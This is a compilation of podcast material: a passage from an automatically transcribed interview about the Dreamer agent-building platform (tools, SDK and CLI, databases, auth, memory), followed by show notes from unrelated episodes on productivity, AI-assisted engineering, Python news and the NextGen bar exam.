people in our alpha wanted to do stuff for cooking. Yeah. Um, and you know, you can scrape the web to get good recipes, but we were able to quite quickly find a good repository of recipes. It works great here. Yeah.[00:33:55] Stable Tool Interfaces[00:33:55] David Singleton: So the point behind these though is that we'll keep the interfaces stable, so they'll always work.[00:34:00] But you know, the best translation model and, you know, there are people using this translation tool to translate Chinese podcasts into English. It's, it's pretty powerful. It can deal with very long text, but the best translation tool today might be different from the best translation tool sometime next year.[00:34:15] And we're just gonna make sure that that translation tool is always pretty close to state of the art. So you can build something and you know it's gonna continue to work well. Of course, some of our tools are branded. You may actually have a preferred way of buying groceries, like maybe you prefer Instacart and that's great.[00:34:29] You can use the Instacart tool specifically.[00:34:31] swyx: Yeah.[00:34:32] Partnerships And Ecosystem[00:34:32] swyx: Your partnerships, uh, I mean, I don't know if you ever hit of partnerships, but this is gonna be a bonanza for anyone on to do deals.[00:34:38] David Singleton: We have an amazing person who, uh, works on all of our partnerships. Um, and it's part of what you have to do to build a platform like this that's gonna work for people.[00:34:46] Like, we've gone and done that. Schlep has a lot of work, one talks lots of different companies, um, in order to make sure that you've got good tools at the core.[00:34:54] swyx: Yeah.[00:34:54] David Singleton: And then of course, because we're open to tool builders contributing to the platform, this is only gonna get better and better and [00:35:00] better.[00:35:00] swyx: Yeah.[00:35:01] Agent Lab Routing Layer[00:35:01] swyx: One observation I have this, this is gonna master a thesis I've been pursuing, which is, uh, what I've been calling an agent lab[00:35:05] David Singleton: mm-hmm.[00:35:06] swyx: Where you sort of different than a model lab in, in, in the sense that you never train your own models, but you are the router evaluation layer, ex subject domain expert for choosing between, uh, models.[00:35:18] David Singleton: Yeah.[00:35:18] swyx: And you're explicitly doing these things. And so like in my sort of construction, every agent lab does some version of this where like, here's the image understanding endpoint and we will route for you and don't worry about it. Yeah. Sally, I think it's kind of cool.[00:35:32] David Singleton: I, I think it makes total sense. Um, and again, to make this work for folks that don't follow the AI news every day, it's an actually, it's a, it's a really important thing to do.[00:35:42] Yeah. And it, it's been, it's been a real pleasure. I mean, I'm a, I'm personally a total geek for this stuff. I love it. And being able to go and dive into all those details in order to make it work well for other people. It's a true pleasure. I cannot imagine working at anything else right now. It's just so much fun.[00:35:56] swyx: The tricky part is multimodality when some of these things do [00:36:00] merge.[00:36:00] David Singleton: Mm-hmm.[00:36:01] swyx: And you are, you're sort of, this is your imposing structure on things that fundamentally don't want to be structured. And so sometimes that might work against you, but for 99% of these cases, this is fine.[00:36:10] David Singleton: Yeah. I mean, I think it's gonna be very interesting to see how the, the, the world matures because a lot of the power of dreamer is the ability to kick off these subagents, so these powerful agent harnesses, which can actually change how they work based on the data.[00:36:25] I actually think that we will be able to. Kind of keep up with and stay at the forefront of the changing landscape of how tools and systems work together. And that's, that's new. You know, software didn't used to work like this and now it does. Um, so even, even just figuring out how to design the right pri to make that possible has itself be a lot of fun.[00:36:44] Builders Can Publish Tools[00:36:44] swyx: This is, is a sort of maybe two part question that why can't streamer make its own tools? And then why don't you let you builders maybe stand up their own routing group? I call this a routing group, right? Like where it's like collect Yeah. Things.[00:36:58] David Singleton: So two things, to [00:37:00] some extent, dreamer does make its own tools in that agents appear to the system as tools.[00:37:05] So they can be, they can be used to accomplish things. So you can build an agent that is essentially a tool. Yeah. Um, and it it,[00:37:12] swyx: which is to me very useful for reuse.[00:37:14] David Singleton: Right.[00:37:14] swyx: Right. Exactly. ‘cause I, I like, this is the way I like it. Now my next five apps, I don't want to do this whole series of back and forth again.[00:37:20] David Singleton: Right.[00:37:21] swyx: Yeah.[00:37:21] David Singleton: Um. Then at the tool layer of the system, it's open to anyone. So it's actually quite powerful and flexible. So if you wanted to add a tool, which was, uh, imagine that you were training your own foundation model, Swyx. That might be fun. And imagine you wanted people to be able to play with, I don't know, maybe you make like, you know, nano chat or whatever and you want to Yeah.[00:37:42] Let people play with your own nano chat and see how I change themselves.[00:37:44] swyx: Now.[00:37:45] David Singleton: You could, you could publish a tool that is Nano Chat and it nano image generation behind a tool, and it could be your own writer if you wanted to. I see. And honestly, if that's the kind of thing that gets you excited as a builder, please come and do it.[00:37:57] Like we, we really are [00:38:00] believers in this idea that we aren't going to figure out every single detail ourselves. We're gonna make sure it's a safe and fun place to build this stuff, but we're really open to these ideas coming from other people. Um, and so I'd like nothing more than you come in and build a tool that does some of that cool stuff that you, that you have in mind.[00:38:15] swyx: Yeah. Awesome.[00:38:16] David Singleton: And just as a reminder, if you'd like to do that, the way to find the links is dreamer.com/latent space. Um, and for a limited time on that page, um, anyone who's listening to this podcast will also get directly off of our wait list. Uh, it's quite long right now. We are working hard to bring Zika.[00:38:32] Wait, so skip the wait list.[00:38:33] swyx: You know, I think, I think that's fantastic. I, I think it's, it is really sort of probuild way to do it. I wanted to jump back to the, the bar. Yeah. You know, you know, I get excited about this.[00:38:41] David Singleton: Yes. Okay. Let's set it back in there.[00:38:43] swyx: Like, let's, you know, this is the engineer podcast that's get[00:38:46] David Singleton: Yeah.[00:38:46] swyx: As technical as you can.[00:38:47] David Singleton: Yeah.[00:38:47] swyx: On everything you've built, like have a show off.[00:38:50] David Singleton: Yeah. Okay.[00:38:51] Under The Hood Debugging[00:38:51] David Singleton: So let's go wild in the aisles in the Asian studio. So as you can see, over on the left here is a conversation with the sidekick where you ask it what to do and it will explain in English that anyone can understand what's going on.[00:39:03] But, um, if you want to pull back the covers and look under the hood, um, if you're, uh, an engineer like me, then we have this, uh, this kind of debug drawer at the bottom. So you can see the full build logs here, but you can actually also dig in and see the files and prompts that have been generated. Uh, you can upload files from your computer in static files.[00:39:24] Um,[00:39:24] swyx: very important,[00:39:25] David Singleton: uh, indeed. You can actually read the prompts that have been generated for you. We intentionally put an example in here just that you can see what the format looks like. And then, you know, we already looked at this one that was generated for this particular, um, app, but if you actually want to bring the code out of Dreamer and work on your own local machine, you can.[00:39:45] So at the core of everything here is an SDK with a powerful command line interface and we built that first. It's actually possible to build agents on Dreamer without talking to the sidekick. You can write code with your fingers on a keyboard if you want to. I know that's very [00:40:00] antiquated, not, but actually this can be a lot of fun.[00:40:02] So if you wanna pull it out onto your laptop, you can use our, our CLI and, uh, you can edit it in cursor or in cloud code. You know, you don't have to use our sidekick. And the CLI actually has full access to the rest of the platform with you as the user. So, you know, obviously it is, uh, secure and privacy sensitive, and this is a way that, um, some of our most technical builders do build stuff on the platform.[00:40:24] The really cool thing is the side cake. When it's in coding mode, it uses exactly the same CLI. So the way it. Build stuff on Dreamer is using the same tools that you might as an engineer. Um, and that's actually a very powerful abstraction because it turns out that the right way to give a lot of context to agents to use CLIs is to write great documentation.[00:40:46] Make sure that all of the things that you could do are actually possible. And guess what? That makes it a delightful developer experience for real heroes as well.[00:40:53] swyx: Yeah. So that's pretty cool. We've been telling developers to do this and they ignore this until now they have to for content.[00:40:58] David Singleton: I, I've been saying this for a [00:41:00] long time.[00:41:00] Uh, we actually Stripe docs.[00:41:02] swyx: I mean, come on. Absolutely. Come on.[00:41:03] David Singleton: Absolutely. But actually, I was chatting with folks at Stripe last week and saying, Hey, you gotta make the Stripe CLI actually tell agents what they can do on Stripe because that way they're gonna use more stuff on Stripe. I think this is a real trend for the entire industry.[00:41:16] swyx: Yeah.[00:41:16] David Singleton: So we, we've been doing that.[00:41:17] swyx: To me, this, this download and, uh, GI push mm-hmm. Everything is complete confidence in that you're not hacking it. Right. Because there's other, let's call them AI builder platforms that impose their stack on you and if you, if you, and so therefore they don't allow you to do this because they cannot.[00:41:34] Right. ‘cause they, they impose some degrees of freedom, uh, restrictions so that they can get it to work. Yours is a fully general like VM running the full code. Correct. Do whatever you want. Correct. Any language you want. Correct. Yeah.[00:41:46] David Singleton: Correct. Well, in terms of language, if you use the SDK, you could build stuff in other languages.[00:41:51] We've actually found that TypeScript is the best language for building these experiences. Yes. Because it's strongly tight. So you find out at compile time if you've made mistakes [00:42:00] and there's nothing better than getting in. A coding agent in a loop where it can see its mistakes and ask them. So TypeScript is the language that everything gets built in by default here.[00:42:08] swyx: Did And did you see that TypeScript overtook Python? I did. I did. Yeah.[00:42:12] David Singleton: And for what it's worth, when we started the company, we started writing stuff in Python, and I love Python. Um, if I do, uh, a vendor code, I always write it in Python. It's my favorite language as a developer with my fingers on the keyboard.[00:42:23] Um, but TypeScript is an amazing language for AI because there's tons of training data in the models, um, and it's strongly tight. And actually at the company we built most of the stack in TypeScript, and we have this amazing property, which is, we have type safety all the way from the database to the front end.[00:42:40] And there's nothing better for working with coding agents than being able to have them check their correctness, compile time. So the same ideas behind building the company's code base, we've put into the agent SDK here as well.[00:42:51] swyx: Yeah. Do you know if you'd use one of those tools, like Prisma or whatever, or is it Tool Lab for you?[00:42:55] David Singleton: We, we actually have crafted most of our own tools. Um. For [00:43:00] instance, we had LLM Driven Code Review, uh, before the thing that got published from philanthropic this week. You know, we, we've been doing this stuff, uh, on our own bat[00:43:07] swyx: email, we'll pay $25 per review.[00:43:09] David Singleton: We, we pay a lot less than that. However, I hear that those reviews are excellent and possibly worth $25.[00:43:14] swyx: Yeah. You know, it's an option. Right. It's good, good to have it.[00:43:17] David Singleton: Just to give you a tour of some other stuff here. So, um, I can also see all the versions. Yeah. Um, this is not gi, this is not gi, this is built into dreamer. I can see all the versions that have been pushed before. Why is it[00:43:27] swyx: not gi?[00:43:28] David Singleton: It's not gi because we can make it work more efficiently than Git.[00:43:32] And we actually, we do some work behind the scenes to kind of understand what's in each of these versions. Yeah. Um,[00:43:37] swyx: so one of the things I'm pursuing, and I have a lot of thesis, right? Mm-hmm. One of the thesis is like, does GI go away? Does GitHub go away? And like, what, what is the active reinvent[00:43:46] David Singleton: you for, for what it's worth to some extent.[00:43:48] And anything you build, there's a lot of path dependency. If we started over, we might make this gi There's, uh, you know, within the company we use, uh. For our, you know, platform source code. And we like it and it [00:44:00] works well with coding agents as well. The very first versions of this, we wanted to be able to make it possible for the sidekick to manipulate it easily.[00:44:06] Um, and this, this was an expedient way to do it.[00:44:08] swyx: Yeah.[00:44:08] Workflows Logs And Databases[00:44:08] David Singleton: Um, you can also see all the activity that has happened in the workflows that you build. A lot of agents, you'll build on Dreamer, do things in the background, so they run on triggers. These are stimuli from the outside to kick them off, and this is a nice way to see all of the things that might have kicked off your agent.[00:44:24] You know, you can have an agent that kicks off on a webhook, so you can plug it into external systems. You can have an agent that runs when you receive certain emails that match filters, including LLM filters. And so here you can see, oh, when did it run? What did it do? You know, if I open up one of these guide me prompts or guide me, uh, events.[00:44:41] Oh my can see God. Well, I told you it was calling an LLM for every one of those time slots. Here's all of the LLM calls, here's the actual prompts.[00:44:49] swyx: And you don't mind exposing all of this, right?[00:44:51] David Singleton: No. We want builders to see what's going on under the hood. It's haiku to,[00:44:53] swyx: okay. Yeah. So,[00:44:54] David Singleton: okay. Right now that one was haiku.[00:44:56] Like I said, we work with all the models and sidekick will actually pick the best one [00:45:00] for the job. And you saw that was pretty high quality and pretty fast. So Haiku four five is the one that it picked for that job. Exactly. Uh, we also have logs, as I mentioned, there's a database spun up on demand for every, uh, agent.[00:45:12] You don't have to go and figure out how to do your own hosting. This is a SQL Light. This is a SQL Light database. Yeah. Um, it's a multi-user SQL light database. And then, uh, but, but each one is you, you get a database that is unique to this agent. But then if you share the agent with multiple people, we take care of like who are the owners in each row?[00:45:31] And all of that stuff is just there outta the box. Um,[00:45:34] swyx: and again, in-house?[00:45:35] David Singleton: In-house.[00:45:36] swyx: Oh my God.[00:45:37] David Singleton: Yeah. Um, well we do work with a bunch of infrastructure providers, but the technology for how to manipulate this is in-house. Fun fact. We actually did a lot of our own infrastructure development early on at the company and realized we need to spend our energy in the stuff that we're uniquely doing in the world.[00:45:53] So we're very delighted to partner with a bunch of great designer and some of this stuff. And then finally, um, I mentioned that agentic apps agents [00:46:00] expose all of their internals to the system so the psychic can manipulate them and use them just like a user can. So you can see how it's decided to break this problem up into functions.[00:46:09] Some of the functions, the ones with the little I here are exported. That means that there's probably the visible from outside. Exactly. And others are internal. And if you want to, you can dig right in here and call individual functions and see what happens. But mostly. You don't need to think about that at all.[00:46:24] Yeah. Uh, you can keep that little drawer closed and you can talk to your sidekick and build really powerful and enchanting experiences.[00:46:30] swyx: Yeah. I mean, to me, like showing this gives the engineer a complete mental model of what you've done and what you can do with it. Yeah. For example, the first thing I, I, I look for.[00:46:39] A mental checklist of things, right? Like is off in the database, off looks like it's not right. So that's a separate layer. That's probably me means it's hard to do multi-user apps on the same app, right?[00:46:50] David Singleton: So you actually, we've solved that. So, um, see, yes, the platform builds in off, so you as a user sign into the platform, if you're using an [00:47:00] agent that was published by someone else, then your identity is, is kind of taken care of by the system.[00:47:05] And when you query the database, you're gonna get the stuff that is for you. Unless the builder specifically said, this is public data that everyone should see. So they, they actually get a chance to think about that. And again, sidekick can guide you through building, uh, agents and apps that work that way.[00:47:19] So you're right, that's another thing that people have to think about when they're trying to figure out how to build software experiences on Dreamer. You, it's built in. You talk to the sidekick as if it were a human being about what you want and that's what you get. So, you know, my, my Big Sky app that I just showed you that was designed for multiple people to use it.[00:47:38] And of course the things that we were putting in as expenses were supposed to be visible to everybody, and I just told the sidekick that's the way I wanted it. Uh, but by default, if I built an app like that, the data from each user would not been visible to the others.[00:47:49] swyx: Yeah. Yeah. Uh, this is, I presume this is a mood question, but basically you've had to build your own coding agent, right?[00:47:55] Which is sidekick slash whatever is in Inside Psychic. Obviously there's a lot of [00:48:00] people with a lot of desire for cloud code and Code X and attachment to it. Mm-hmm. I know under the hood data basically reduced to a loop, but like, would you let people use cloud coding and Code X or is the harness too specialized?[00:48:12] David Singleton: Yeah. If you, if you want to use, um, cloud code and Code X, then you go down here. Yeah. Hit get the S St K. And we even say this right here, edits your heart's content Z cursor code.[00:48:22] swyx: Like people want to use it inside of Ick, right? Yeah. They want to switch the engine.[00:48:26] David Singleton: Yeah.[00:48:26] swyx: That's the coding engine.[00:48:27] David Singleton: Yeah. We are not doing that right now.[00:48:29] Um, you know, again, the goal really is abstract the complexity. Yeah. Um, because the real target for. Building agentic apps is folks who can't do this already today. I can't tell you how many users in our community I've spoken to who are like Dreamer has changed my life because I used to have all these ideas.[00:48:50] If only I could find an engineer to help me implement them, I'd be able to get them done. They're free, and now I can talk to my sidekick and, and get it built. I think that's like really how we think [00:49:00] about the people that should get a ton of value and fun, um, out of the platform. And so they're not asking to be able to plug in their their own, you know, coding agent.[00:49:11] And for those folks, the opportunity is massive. If you've never been able to do stuff in code, now you can build stuff for you, for your friends, for your family, for your coworkers. And also there's a huge opportunity for folks who do build stuff in code to actually contribute to this ecosystem. So that's how we think about it.[00:49:28] swyx: Yeah. Amazing.[00:49:28] Personalization And Memory[00:49:28] swyx: That's most of what I wanted to cover Dreamer wise. I think personalization and memory yeah. Is probably like the single most important job of, uh, of the os. Maybe we could talk about that and then I'll, I wanted to zoom out on company building stuff.[00:49:40] David Singleton: Yeah, yeah. Sounds good.[00:49:41] swyx: Yeah. So how do you handle memory?[00:49:43] What, yeah, what have you found? What have you tried and failed?[00:49:45] David Singleton: Yeah. Okay. So, uh, first of all, at the core of dreamer is the sidekick. The sidekick gets to know you and it builds up a memory about you over time, and that turns out to be very important. So Dreamer, that's
The Power of Physical Checklists: Inspired by aviation, Atul Gawande's The Checklist Manifesto, and Daniel Kahneman's Noise, I've been experimenting with printed, physical checklists for repetitive tasks — from producing this show to running one-on-ones. The rigor of writing precise procedures carries over into clearer communication with both humans and AI agents. Small Interventions, Big Returns: A Brother P-Touch label maker. Reorganizing scattered hobby gear. 3D printing organizational tools with a new Bambu Labs P1S. None of these are revolutionary on their own, but the compounding effect of better organization — essentially building a fast index for your physical life — pays back over and over. Context Shapes Focus: Switching from a home gym to working out at Planet Fitness with my brother-in-law was one of the best focus interventions I've made. The change in environment eliminated the procrastination and context-blending that came from being steps away from my computer. If you're struggling with a habit, sometimes the environment is the variable to change, not your willpower. The Reading List: Good Strategy, Bad Strategy by Richard Rumelt (and its follow-up The Crux), The Art of Action by Stephen Bungay (a great framework for thinking about agentic workflows), How to Know a Person by David Brooks, and my top recommendation: 4,000 Weeks by Oliver Burkeman — a book that will help you stop looking for the productivity hack that fixes everything and start thinking about what actually matters. Learning as a Habit: Right now I'm learning to drive a stick shift on a 1983 Bronco. The point isn't the skill itself — it's staying in the beginner's seat. Intentional practice, setting small goals, refining through repetition. Keeping this habit alive is more important than ever when the industry demands rapid adaptation. How I'm Actually Using AI: Claude Code for one-shotting tools with clear boundaries, local environment improvements, and terminal troubleshooting. OpenClaw for experimental agents like a personalized trip planner and Home Assistant automations via YAML. Claude Co-Work for file system management and screenshot organization. Obsidian as the connective tissue — a markdown knowledge base that gives AI agents personal context to work with. And at work, spec-driven development is showing real promise for shaping agent output quality. A Framework for Thinking About AI's Role: I break AI use cases into categories: automating existing workflows (where most gains are today), operational restructuring (what happens when you free humans from a task), execution of complex technical work (agents on the front lines), iterative consulting on intent and goals, and the emerging frontier of exploratory connections and strategic synthesis. What You Should Actually Do: Be action-oriented — the cat is out of the bag. Invest heavily in planning and specification before sending agents off to work. But more importantly, invest in mindful change: understand your own values, figure out who you want to be when you look back on this moment in 10 years, and let that guide your decisions about adoption, learning, and career direction.
If you're a software engineer right now, you likely feel like your world is changing overnight. We are writing half or less the amount of code that we wrote even a year ago, which represents a seismic, groundbreaking shift in our industry. However, the rapid introduction of new tools can slide quickly from exciting to purely chaotic, leaving you feeling like you are falling behind. In today's episode, I explore how this changes the nature of our day-to-day work, and why the key to surviving this transition is shifting your mindset from a traditional "Software Engineer" to an "Agent Manager". The Illusion of Velocity vs. Actual Chaos: While the big-picture promise of AI is that the software development pipeline will move exponentially faster, the reality on the ground often feels like unadulterated chaos. Trying to adopt every new tool while spinning up multiple agents to work on parallel tickets introduces a massive new cognitive burden. The Context-Switching Trap: Understand why parallelizing agent workflows fundamentally changes your context-switching overhead. You are no longer just reloading context to build something yourself; you are reloading it to manage, review, and validate a building agent, which rapidly drains your cognitive ability and leads to burnout. The "Agent Manager" Mindset: Treating AI as just a "smart autocomplete" while you try to do the same old job will not work. You need to start viewing your role more like assembly line or process management, focusing on facilitating the system rather than typing every line of syntax. Adopt Old-School Quality Control Tactics: Discover how traditional management methods are becoming essential for individual contributors. Just like a factory manager doesn't inspect every single item off the line, you must develop methods for spot checks, anomaly detection, and standardizing outputs to evaluate the quality and quantity of your agents' work. Shift Your Work Upfront: Recognize that your core effort must move to the specification and planning phases. Your job is increasingly about setting the context, defining the prompt, and establishing strict guardrails before the agent begins its work. Redefining Your Work in Progress (WIP): Proven principles like limiting WIP and focusing on finishing rather than starting are more important than ever to reduce cognitive burden. However, you must adapt these principles to fit a workflow where you are managing processes rather than manually coding. Episode Homework: Take a step back and ask yourself: "What is my true work in progress? Am I actually manually doing these tickets, or am I managing the processes that produce quality ticket work?".
Topics covered in this episode: Setting up a Python monorepo with uv workspaces cattrs: Flexible Object Serialization and Validation Learning to program in the AI age VS Code extension for FastAPI and friends Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Training The Complete pytest Course Patreon Supporters Connect with the hosts Michael: @mkennedy@fosstodon.org / @mkennedy.codes (bsky) Brian: @brianokken@fosstodon.org / @brianokken.bsky.social Show: @pythonbytes@fosstodon.org / @pythonbytes.fm (bsky) Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Monday at 11am PT. Older video versions available there too. Finally, if you want an artisanal, hand-crafted digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Brian #1: Setting up a Python monorepo with uv workspaces Dennis Traub The 3 things Give the Root a Distinct Name Use workspace = true for Inter-Package Deps Use importlib Mode for pytest Michael #2: cattrs: Flexible Object Serialization and Validation cattrs is a Swiss Army knife for (un)structuring and validating data in Python. A natural alternative/follow on from DataClass Wizard Converts to ←→ from dictionaries cattrs also focuses on functional composition and not coupling your data model to its serialization and validation rules. When you're handed unstructured data (by your network, file system, database, …), cattrs helps to convert this data into trustworthy structured data. Batteries Included: cattrs comes with pre-configured converters for a number of serialization libraries, including JSON (standard library, orjson, UltraJSON), msgpack, cbor2, bson, PyYAML, tomlkit and msgspec (supports only JSON at this time). Brian #3: Learning to program in the AI age Jose Blanca “I teach a couple of introductory Python courses and I've been thinking about which advice to give to my students, that are studying how to program for the first time. I have collected my ideas in these blog posts” Why learning to program is as useful as ever, even with powerful AI tools available. How to use AI as a tutor rather than a shortcut, and why practice remains the key to real understanding. What the real learning objectives are: mental models, managing complexity, and thinking like a software developer. Michael #4: VS Code extension for FastAPI and friends Enhances the FastAPI development experience in Visual Studio Code Path Operation Explorer: Provides a hierarchical tree view of all FastAPI routes in your application. Search for routes: Use the Command Palette and quickly search for routes by path, method, or name. CodeLens links appear above HTTP client calls like client.get('/items'), letting you jump directly to the matching route definition. Deploy your application directly to FastAPI Cloud from the status bar with zero config. View real-time logs from your FastAPI Cloud deployed applications directly within VS Code. Install from Marketplace. Extras Brian: Guido van Rossum interviews key Python developers from the first 25 years Interview with Brett Cannon Interview with Thomas Wouters Michael: IntelliJ IDEA: The Documentary | An origin story video Cursor Joined the ACP Registry and Is Now Live in Your JetBrains IDE What hyper-personal software looks like I'm doing in-person training again (limited scope): On-site, hands-on AI engineering enablement for software teams with Michael Joke: Saas is dead
The Bar Exam Toolbox Podcast: Pass the Bar Exam with Less Stress
Welcome back to the Bar Exam Toolbox podcast! If you're planning to take the bar exam in July 2026 or February 2027, your exam will look quite different from the current one. The Uniform Bar Exam overhaul includes changes in the structure, the question types, the timing, the grading – basically everything except the stakes. Today we're walking you through 11 things that every bar taker needs to know about the NextGen UBE. Some of these are structural and some are strategic, and at least a couple might genuinely surprise you. In this episode, we discuss: Exam structure changes and new question types What subjects will be tested How the new grading system works Preparing for a fully computer-based exam How the exam will test practical lawyering skills beyond just legal knowledge Resources: Private Bar Exam Tutoring (https://barexamtoolbox.com/private-bar-exam-tutoring/) Official Examinees' Guide to the NextGen UBE (https://www.ncbex.org/sites/default/files/2025-07/NCBE-NextGen-UBE-Examinees-Guide%20J26-F27.pdf) NextGen UBE Content Scope (https://www.ncbex.org/sites/default/files/2025-07/NCBE%20NextGen%20UBE%20Content%20Scope-Aug%202025.pdf) Next Gen UBE Constructed Response Guide (https://www.ncbex.org/sites/default/files/2026-01/NCBE_NextGen_UBE_Constructed_Response_Guide.pdf) Next Gen UBE Sample Questions (https://www.ncbex.org/exams/nextgen/sample-questions) NextGen UBE Scores and Score Portability (https://www.ncbex.org/exams/nextgen/nextgen-ube-scores-score-portability) Next Gen UBE Tutorial (https://www.starttest.com/ITDVersions/25.1.0.0/ITDStart.aspx?SVC=41623dba-2ec6-41fa-a293-ff5472bf2b71&Json=1) Download the Transcript (https://barexamtoolbox.com/episode-344-11-things-you-need-to-know-about-the-nextgen-ube/) If you enjoy the podcast, we'd love a nice review and/or rating on Apple Podcasts (https://itunes.apple.com/us/podcast/bar-exam-toolbox-podcast-pass-bar-exam-less-stress/id1370651486) or your favorite listening app. And feel free to reach out to us directly. You can always reach us via the contact form on the Bar Exam Toolbox website (https://barexamtoolbox.com/contact-us/). Finally, if you don't want to miss anything, you can sign up for podcast updates (https://barexamtoolbox.com/get-bar-exam-toolbox-podcast-updates/)! Thanks for listening! Alison & Lee